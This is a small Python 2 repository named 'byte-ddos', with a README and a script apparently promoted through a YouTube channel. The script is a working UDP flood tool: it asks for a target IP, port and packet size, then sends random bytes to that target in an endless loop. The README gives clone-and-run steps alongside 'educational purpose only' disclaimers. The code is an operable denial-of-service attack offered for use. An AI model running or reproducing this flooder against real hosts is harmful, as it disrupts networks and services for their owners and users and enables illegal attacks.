├── .gitignore ├── LICENSE ├── README.txt └── byte-ddos.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /README.txt: -------------------------------------------------------------------------------- 1 | ######################################## 2 | # Educational purpose only # 3 | ######################################## 4 | # I'm not responsible for your actions # 5 | ######################################## 6 | SUBSCRIBE:https://www.youtube.com/channel/UCKAmv8p_TRvUNrJlfiB8qBQ 7 | 8 | 9 | python 2.7.15 works best 10 | 11 | ====================================================| 12 | git clone https://github.com/EH30/byte-ddos | 13 | cd byte-ddos | 14 | python byte-ddos.py | 15 | ====================================================| 16 | 300 Bytes Recommended 1000 bytes might get you're | 17 | Internet a Bit slow unless you have a good Internet.| 18 | ====================================================| 19 | 20 | 21 | You're Ip is visible 22 | 23 | DON'T USE THIS TOOL FOR ILLEGAL PURPOSE 24 | -------------------------------------------------------------------------------- /byte-ddos.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | import random 4 | import socket 5 | from sys import platform 6 | 7 | 8 | 9 | ######################################## 10 | ######################################## 11 | # Educational purpose only # 12 | ######################################## 13 | # I'm not responsible for your actions # 14 | ######################################## 15 | ######################################## 16 | 17 | 18 | 19 | 20 | """ 21 | Created By: TheTechHacker 22 | ========================== 23 | SUBSCRIBE: https://www.youtube.com/channel/UCKAmv8p_TRvUNrJlfiB8qBQ 24 | 25 | """ 26 | 27 | 28 | 29 | if platform == "linux" or platform == "linux2": 30 | os.system("clear") 31 | elif platform == "darwin": 32 | os.system("clear") 33 | print "This Script Works Best on Kali linux" 34 | elif platform == "win32": 35 | os.system("cls") 36 | else: 37 | print "\033[1;34m [-]Unknown System Detected \033[1;m" 38 | 39 | print "\033[1;32m" 40 | 41 | connect = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 42 | print """ 43 | _ _ _ 44 | (.)< __(.)> __(.)= 45 | \___) \___) \___) Ready To Send 46 | 47 | 48 | ======================================= 49 | Created By: TheTechHacker 50 | ======================================= 51 | If You Use too much bytes 52 | You're Internet might get a bit slow 53 | ======================================= 54 | """ 55 | 56 | 57 | 58 | try: 59 | size = input("bytes> ") 60 | attack = random._urandom(size) 61 | ip = raw_input("IP> ") 62 | port = input("port> ") 63 | print " " 64 | print "Lunching Attack" 65 | print " " 66 | except SyntaxError: 67 | print " " 68 | exit("\033[1;34m ERROR \033[1;m") 69 | except NameError: 70 | print " " 71 | exit("\033[1;34m Invalid Input \033[1;m") 72 | except KeyboardInterrupt: 73 | print " " 74 | exit("\033[1;34m [-]Canceled By User \033[1;m") 75 | except ImportError: 76 | print " " 77 | exit("\033[1;34m [-]Install python 2.7.15") 78 | 79 | 80 | while True: 81 | try: 82 | connect.sendto(attack, (ip, port)) 83 | print "Attacking sending bytes ===>" 84 | except KeyboardInterrupt: 85 | print " " 86 | exit("\033[1;34m [-]Canceled By User \033[1;m") 87 | except ImportError: 88 | print " " 89 | exit("\033[1;34m [-]Install python 2.7.15") --------------------------------------------------------------------------------